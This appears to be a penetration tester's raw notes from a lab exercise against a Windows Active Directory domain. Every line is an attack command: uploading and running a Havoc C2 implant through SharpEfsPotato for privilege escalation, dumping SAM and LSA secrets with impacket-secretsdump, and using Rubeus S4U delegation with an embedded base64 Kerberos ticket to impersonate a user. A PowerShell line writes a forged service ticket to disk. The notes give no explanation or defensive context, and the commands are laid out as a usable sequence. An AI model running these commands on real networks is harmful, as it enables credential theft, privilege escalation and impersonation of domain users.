Havoc
upload /home/jay/prolabs/cybernatics/demon_new.exe
dotnet inline-execute /home/jay/prolabs/cybernatics/SharpEfsPotato.exe -p demon_new.exe

Dump SAM
Havoc
samdump C:\windows\tasks
impacket-secretsdump -system systemic.txt -sam samantha.txt -security security.txt LOCAL
Loot
Loot
execute-assembly /home/jay/prolabs/cybernatics/Rubeus.exe s4u /impersonateuser:micheal.crosley /msdsspn:time/m3webaw.m3c.local /user:svc_sql /altservice:http /ticket:doIE9jCCBPKgAwIBBaEDAgEWooIEBTCCBAFhggP9MIID+aADAgEFoQsbCU0zQy5MT0NBTKIeMBygAwIBAqEVMBMbBmtyYnRndBsJTTNDLkxPQ0FMo4IDwzCCA7+gAwIBEqEDAgEEooIDsQSCA629WjDAox0jgbqJ/DD9jzNLOb02q17JAGguWLQxzwRn9VLWtrnXlMl1cxhca9EiCtkR/aLEJuhfJjDy89tLv5r7tdSo5RekT6QS7PByg4FKh+FoW4qzF2SZEqG8CfYppXxrPMs9srD8oonXcUZ/nZPYkBBW9ldR7JDiL3VAkBZWrDE4whdlb9RLeIMLG0frpkgMjH6LKSThqC3wpXvyPsjSO3cZFn5qxxZc6trfi0Kh/i8rMuP0WPZQALxCPcd/K+254IE2vfyAMFu7DGzvWrlI88pFqEdLcHdBIus2PM1EQqWNi24x3vlqDEs2ga/Q2h+QmCweG4sQEjQLkDRArvuhl+/xa5CYJ1qjjKkJn4T/4JDtA89//XzuZvNB7LzwCuo3DdomfkyD1SdixYeSz7RyZOrtupZMeN0PWXZ7PWd2CLCkPYlW1oRXntkQQu7eXCTqD4nNoGwakYx4Rvj+E956AHbEsyxqudoYEYQDP16KWs2BrG8anRxHodYXeiuWmed5054y6EKgPnTv6Llu1GgWe9lVOHYD2KNqWgBkT5UIrqWd84xrb+ZUovVGrUL9tEaVUHp1bGIdEtlGQ9Xn8pEYOEfEnb1nTMBxlISTvqwZcI1XPlwXr/py9i2yEdB7rtAV1N/YYnD/hC4I650w0aT8kwtcNOOFANNxwsXFLVlO3Fjk9hGIuL33cTGytLRJIC3pw3WznCmx1PkMW+v3/V+I4EqqbCfu1jd0UTRtze5ApNZj9gJlDoetoUgAuLwS0joQVuZAxz5+FpY7eEQK3R0MS69WuznlWl/beJasQZ7DV0H46dpKd4T4Qnz8n77pdArX6vabpVGv+qbDqUYx5EWecJUPpyodjYEK5BhzSnrhY6KvhUU3hkafpakvOkPPQHBhibshNMTbsEsdyFUmndUquWsSDGbAnUHvsxM37REHRqqh7STjc0hgc2S+z9Jv5FlyUk3p3ZNyBB9oi34m4okWpR+nPqs66BWqaR22uG45ArXd9GSQ4M59c1LvT0YH7/jni8co5J2c04e9/t0iZ7rWUErcFQen6F7w+xXKJ+egH05Nbta8jVegNfQxxPlWJZ3TJ3hr2lP7ZUxS5SusfuSSJcvSc5asftHW1lLEJHy/v8ClzyXbSPMbzNh2tjQKuw4H5gA+LtSGwhg0N3QqkYHmuDs0uIEQFxmmHrngG+h/MVmh8ZHtbT4xDNvN1L8wR3K7d018b4rtyDGgWJQ8Kre2ZPVYSfm+tVoPFEUsD6OB3DCB2aADAgEAooHRBIHOfYHLMIHIoIHFMIHCMIG/oCswKaADAgESoSIEIN5eNdPcZOcj8wIcQKkKc6a3i9Bgn0/r9nPjvdpY6r6boQsbCU0zQy5MT0NBTKIUMBKgAwIBAaELMAkbB3N2Y19zcWyjBwMFAEDhAAClERgPMjAyNDAyMDkwMTAwMDFaphEYDzIwMjQwMjA5MTEwMDAxWqcRGA8yMDI0MDIxNjAxMDAwMVqoCxsJTTNDLkxPQ0FMqR4wHKADAgECoRUwExsGa3JidGd0GwlNM0MuTE9DQUw= /nowrap /ptt
[IO.File]::WriteAllBytes("C:\Users\svc_sql\Documents\tgs_michael_corsely.kirbi", [Convert]::FromBase64String("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"))